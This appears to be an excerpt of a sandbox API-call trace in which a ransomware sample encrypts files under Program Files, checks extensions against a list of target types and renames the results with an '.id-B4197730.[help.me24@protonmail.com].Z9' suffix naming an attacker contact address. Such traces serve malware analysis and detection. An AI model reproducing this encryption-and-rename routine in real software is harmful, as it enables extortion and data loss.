	[0189.359] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x34aff14 | out: lpFileSize=0x34aff14*=7168) returned 1
	[0189.359] CloseHandle (hObject=0x368) returned 1
	[0189.359] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-CN\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-cn\\tipresx.dll.mui")) returned 0x20
	[0189.359] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-CN\\tipresx.dll.mui.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-cn\\tipresx.dll.mui.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.359] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-CN\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-cn\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.359] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-CN\\tipresx.dll.mui") returned 72
	[0189.359] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-CN\\tipresx.dll.mui") returned 72
	[0189.359] lstrlenW (lpString=".doc") returned 4
	[0189.359] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-CN\\tipresx.dll.mui") returned 72
	[0189.359] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-CN\\tipresx.dll.mui") returned 72
	[0189.359] lstrlenW (lpString=".doc") returned 4
	[0189.360] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-TW\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-tw\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0189.360] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x34aff14 | out: lpFileSize=0x34aff14*=7168) returned 1
	[0189.360] CloseHandle (hObject=0x368) returned 1
	[0189.360] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-TW\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-tw\\tipresx.dll.mui")) returned 0x20
	[0189.360] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-TW\\tipresx.dll.mui.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-tw\\tipresx.dll.mui.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.360] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-TW\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-tw\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.360] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-TW\\tipresx.dll.mui") returned 72
	[0189.360] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-TW\\tipresx.dll.mui") returned 72
	[0189.360] lstrlenW (lpString=".doc") returned 4
	[0189.360] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-TW\\tipresx.dll.mui") returned 72
	[0189.361] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-TW\\tipresx.dll.mui") returned 72
	[0189.361] lstrlenW (lpString=".doc") returned 4
	[0189.361] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\en-us\\msinfo32.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0189.363] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x34aff14 | out: lpFileSize=0x34aff14*=30720) returned 1
	[0189.363] CloseHandle (hObject=0x368) returned 1
	[0189.364] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\en-us\\msinfo32.exe.mui")) returned 0x20
	[0189.364] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\en-us\\msinfo32.exe.mui.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.364] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\en-us\\msinfo32.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.364] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui") returned 76
	[0189.364] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui") returned 76
	[0189.364] lstrlenW (lpString=".doc") returned 4
	[0189.364] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui") returned 76
	[0189.364] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui") returned 76
	[0189.364] lstrlenW (lpString=".doc") returned 4
	[0189.364] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\msinfo32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\msinfo32.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0189.364] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x34aff14 | out: lpFileSize=0x34aff14*=370176) returned 1
	[0189.365] CloseHandle (hObject=0x368) returned 1
	[0189.365] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\msinfo32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\msinfo32.exe")) returned 0x20
	[0189.365] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\msinfo32.exe.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\msinfo32.exe.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.365] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\msinfo32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\msinfo32.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.365] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\msinfo32.exe") returned 66
	[0189.365] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\msinfo32.exe") returned 66
	[0189.365] lstrlenW (lpString=".doc") returned 4
	[0189.365] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\msinfo32.exe") returned 66
	[0189.365] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\msinfo32.exe") returned 66
	[0189.365] lstrlenW (lpString=".doc") returned 4
	[0189.365] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vgx\\vgx.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0189.365] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x34aff14 | out: lpFileSize=0x34aff14*=987136) returned 1
	[0189.366] CloseHandle (hObject=0x368) returned 1
	[0189.366] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vgx\\vgx.dll")) returned 0x20
	[0189.366] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\vgx\\vgx.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.366] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vgx\\vgx.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.366] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll") returned 58
	[0189.366] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll") returned 58
	[0189.366] lstrlenW (lpString=".doc") returned 4
	[0189.366] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll") returned 58
	[0189.366] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll") returned 58
	[0189.366] lstrlenW (lpString=".doc") returned 4
	[0189.366] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\spcwin.exe" (normalized: "c:\\program files\\common files\\spcwin.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0189.367] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x34aff14 | out: lpFileSize=0x34aff14*=78336) returned 1
	[0189.367] CloseHandle (hObject=0x368) returned 1
	[0189.367] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\spcwin.exe" (normalized: "c:\\program files\\common files\\spcwin.exe")) returned 0x20
	[0189.367] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\spcwin.exe.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\spcwin.exe.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.367] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\spcwin.exe" (normalized: "c:\\program files\\common files\\spcwin.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0189.367] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0189.367] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0189.367] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\spcwin.exe.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\spcwin.exe.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0189.368] GetLastError () returned 0x0
	[0189.368] ReadFile (in: hFile=0x368, lpBuffer=0x3e7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7d020*, lpNumberOfBytesRead=0x34afecc*=0x13200, lpOverlapped=0x0) returned 1
	[0189.654] WriteFile (in: hFile=0x360, lpBuffer=0x3e7d020*, nNumberOfBytesToWrite=0x13210, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7d020*, lpNumberOfBytesWritten=0x34afc94*=0x13210, lpOverlapped=0x0) returned 1
	[0189.657] ReadFile (in: hFile=0x368, lpBuffer=0x3e7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7d020*, lpNumberOfBytesRead=0x34afecc*=0x0, lpOverlapped=0x0) returned 1
	[0189.657] WriteFile (in: hFile=0x360, lpBuffer=0x3e7d020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7d020*, lpNumberOfBytesWritten=0x34afc94*=0xe8, lpOverlapped=0x0) returned 1
	[0189.657] SetEndOfFile (hFile=0x360) returned 1
	[0189.657] CloseHandle (hObject=0x360) returned 1
	[0189.657] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0189.657] SetEndOfFile (hFile=0x368) returned 1
	[0189.658] CloseHandle (hObject=0x368) returned 1
	[0189.658] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\spcwin.exe.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0189.658] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\spcwin.exe" (normalized: "c:\\program files\\common files\\spcwin.exe")) returned 1
	[0189.659] lstrlenW (lpString="C:\\Program Files\\Common Files\\spcwin.exe") returned 40
	[0189.659] lstrlenW (lpString="C:\\Program Files\\Common Files\\spcwin.exe") returned 40
	[0189.659] lstrlenW (lpString=".doc") returned 4
	[0189.659] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0189.659] lstrlenW (lpString=".docx") returned 5
	[0189.659] lstrcmpiW (lpString1=".docx", lpString2="n.exe") returned -1
	[0189.659] lstrlenW (lpString=".pdf") returned 4
	[0189.659] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0189.659] lstrlenW (lpString=".xls") returned 4
	[0189.660] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0189.660] lstrlenW (lpString=".xlsx") returned 5
	[0189.660] lstrcmpiW (lpString1=".xlsx", lpString2="n.exe") returned -1
	[0189.660] lstrlenW (lpString=".ppt") returned 4
	[0189.660] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0189.660] lstrlenW (lpString="C:\\Program Files\\Common Files\\spcwin.exe") returned 40
	[0189.660] lstrlenW (lpString=".zip") returned 4
	[0189.660] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0189.660] lstrlenW (lpString=".rar") returned 4
	[0189.660] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0189.660] lstrlenW (lpString=".bz2") returned 4
	[0189.660] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0189.660] lstrlenW (lpString=".7z") returned 3
	[0189.660] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0189.660] lstrlenW (lpString="C:\\Program Files\\Common Files\\spcwin.exe") returned 40
	[0189.660] lstrlenW (lpString=".dbf") returned 4
	[0189.660] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0189.660] lstrlenW (lpString="C:\\Program Files\\Common Files\\spcwin.exe") returned 40
	[0189.660] lstrlenW (lpString=".1cd") returned 4
	[0189.660] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0189.660] lstrlenW (lpString="C:\\Program Files\\Common Files\\spcwin.exe") returned 40
	[0189.660] lstrlenW (lpString=".jpg") returned 4
	[0189.660] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0189.660] lstrlenW (lpString="C:\\Program Files\\Common Files\\spcwin.exe") returned 40
	[0189.660] lstrlenW (lpString="C:\\Program Files\\Common Files\\spcwin.exe") returned 40
	[0189.660] lstrlenW (lpString=".doc") returned 4
	[0189.660] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0189.660] lstrlenW (lpString=".docx") returned 5
	[0189.660] lstrcmpiW (lpString1=".docx", lpString2="n.exe") returned -1
	[0189.660] lstrlenW (lpString=".pdf") returned 4
	[0189.660] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0189.660] lstrlenW (lpString=".xls") returned 4
	[0189.660] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0189.660] lstrlenW (lpString=".xlsx") returned 5
	[0189.661] lstrcmpiW (lpString1=".xlsx", lpString2="n.exe") returned -1
	[0189.661] lstrlenW (lpString=".ppt") returned 4
	[0189.661] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0189.661] lstrlenW (lpString="C:\\Program Files\\Common Files\\spcwin.exe") returned 40
	[0189.661] lstrlenW (lpString=".zip") returned 4
	[0189.661] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0189.661] lstrlenW (lpString=".rar") returned 4
	[0189.661] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0189.661] lstrlenW (lpString=".bz2") returned 4
	[0189.661] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0189.661] lstrlenW (lpString=".7z") returned 3
	[0189.661] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0189.661] lstrlenW (lpString="C:\\Program Files\\Common Files\\spcwin.exe") returned 40
	[0189.661] lstrlenW (lpString=".dbf") returned 4
	[0189.661] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0189.661] lstrlenW (lpString="C:\\Program Files\\Common Files\\spcwin.exe") returned 40
	[0189.661] lstrlenW (lpString=".1cd") returned 4
	[0189.661] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0189.661] lstrlenW (lpString="C:\\Program Files\\Common Files\\spcwin.exe") returned 40
	[0189.661] lstrlenW (lpString=".jpg") returned 4
	[0189.661] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0189.661] Sleep (dwMilliseconds=0x64) 
	[0190.059] lstrcmpiW (lpString1=".jar", lpString2=".Z9") returned -1
	[0190.059] lstrlenW (lpString="localedata.jar") returned 14
	[0190.059] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\localedata.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0190.059] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x34aff14 | out: lpFileSize=0x34aff14*=2204781) returned 1
	[0190.059] CloseHandle (hObject=0x364) returned 1
	[0190.059] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\localedata.jar")) returned 0x20
	[0190.060] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\localedata.jar.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0190.060] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\localedata.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\localedata.jar.id-b4197730.[help.me24@protonmail.com].z9")) returned 1
	[0190.093] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\localedata.jar.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0190.093] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afc64 | out: lpNewFilePointer=0x0) returned 1
	[0190.093] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afc24 | out: lpNewFilePointer=0x0) returned 1
	[0190.093] ReadFile (in: hFile=0x364, lpBuffer=0x3e7d058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x34afc30, lpOverlapped=0x0 | out: lpBuffer=0x3e7d058*, lpNumberOfBytesRead=0x34afc30*=0x40000, lpOverlapped=0x0) returned 1
	[0190.109] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0xb36cf, lpNewFilePointer=0x0, dwMoveMethod=0x34afc24 | out: lpNewFilePointer=0x0) returned 1
	[0190.110] ReadFile (in: hFile=0x364, lpBuffer=0x3ebd058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x34afc30, lpOverlapped=0x0 | out: lpBuffer=0x3ebd058*, lpNumberOfBytesRead=0x34afc30*=0x40000, lpOverlapped=0x0) returned 1
	[0190.129] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x34afc64 | out: lpNewFilePointer=0xffffffff) returned 1
	[0190.130] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x1da46d, lpNewFilePointer=0x0, dwMoveMethod=0x34afc24 | out: lpNewFilePointer=0x0) returned 1
	[0190.130] ReadFile (in: hFile=0x364, lpBuffer=0x3efd058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x34afc30, lpOverlapped=0x0 | out: lpBuffer=0x3efd058*, lpNumberOfBytesRead=0x34afc30*=0x40000, lpOverlapped=0x0) returned 1
	[0190.819] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.819] WriteFile (in: hFile=0x364, lpBuffer=0x3e7d020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x34afca8, lpOverlapped=0x0 | out: lpBuffer=0x3e7d020*, lpNumberOfBytesWritten=0x34afca8*=0xc0108, lpOverlapped=0x0) returned 1
	[0190.835] SetEndOfFile (hFile=0x364) returned 1
	[0190.835] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x40000) returned 0x40a98e8
	[0190.841] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afc74 | out: lpNewFilePointer=0x0) returned 1
	[0190.841] WriteFile (in: hFile=0x364, lpBuffer=0x40a98e8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x34afc80, lpOverlapped=0x0 | out: lpBuffer=0x40a98e8*, lpNumberOfBytesWritten=0x34afc80*=0x40000, lpOverlapped=0x0) returned 1
	[0190.843] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0xb36cf, lpNewFilePointer=0x0, dwMoveMethod=0x34afc74 | out: lpNewFilePointer=0x0) returned 1
	[0190.843] WriteFile (in: hFile=0x364, lpBuffer=0x40a98e8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x34afc80, lpOverlapped=0x0 | out: lpBuffer=0x40a98e8*, lpNumberOfBytesWritten=0x34afc80*=0x40000, lpOverlapped=0x0) returned 1
	[0190.845] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x1da46d, lpNewFilePointer=0x0, dwMoveMethod=0x34afc74 | out: lpNewFilePointer=0x0) returned 1
	[0190.845] WriteFile (in: hFile=0x364, lpBuffer=0x40a98e8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x34afc80, lpOverlapped=0x0 | out: lpBuffer=0x40a98e8*, lpNumberOfBytesWritten=0x34afc80*=0x40000, lpOverlapped=0x0) returned 1
	[0190.847] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x40a98e8 | out: hHeap=0x750000) returned 1
	[0190.847] CloseHandle (hObject=0x364) returned 1
	[0190.848] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0190.848] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57
	[0190.848] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57
	[0190.848] lstrlenW (lpString=".doc") returned 4
	[0190.848] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0190.848] lstrlenW (lpString=".docx") returned 5
	[0190.848] lstrcmpiW (lpString1=".docx", lpString2="a.jar") returned -1
	[0190.848] lstrlenW (lpString=".pdf") returned 4
	[0190.848] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0190.848] lstrlenW (lpString=".xls") returned 4
	[0190.848] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0190.848] lstrlenW (lpString=".xlsx") returned 5
	[0190.848] lstrcmpiW (lpString1=".xlsx", lpString2="a.jar") returned -1
	[0190.848] lstrlenW (lpString=".ppt") returned 4
	[0190.848] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0190.848] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57
	[0190.848] lstrlenW (lpString=".zip") returned 4
	[0190.848] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0190.848] lstrlenW (lpString=".rar") returned 4
	[0190.848] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0190.848] lstrlenW (lpString=".bz2") returned 4
	[0190.849] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0190.849] lstrlenW (lpString=".7z") returned 3
	[0190.849] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0190.849] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57
	[0190.849] lstrlenW (lpString=".dbf") returned 4
	[0190.849] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0190.849] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57
	[0190.849] lstrlenW (lpString=".1cd") returned 4
	[0190.849] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0190.849] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57
	[0190.849] lstrlenW (lpString=".jpg") returned 4
	[0190.849] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0190.849] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57
	[0190.849] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57
	[0190.849] lstrlenW (lpString=".doc") returned 4
	[0190.849] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0190.849] lstrlenW (lpString=".docx") returned 5
	[0190.849] lstrcmpiW (lpString1=".docx", lpString2="a.jar") returned -1
	[0190.849] lstrlenW (lpString=".pdf") returned 4
	[0190.849] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0190.849] lstrlenW (lpString=".xls") returned 4
	[0190.849] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0190.849] lstrlenW (lpString=".xlsx") returned 5
	[0190.849] lstrcmpiW (lpString1=".xlsx", lpString2="a.jar") returned -1
	[0190.849] lstrlenW (lpString=".ppt") returned 4
	[0190.849] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0190.849] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57
	[0190.849] lstrlenW (lpString=".zip") returned 4
	[0190.849] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0190.850] lstrlenW (lpString=".rar") returned 4
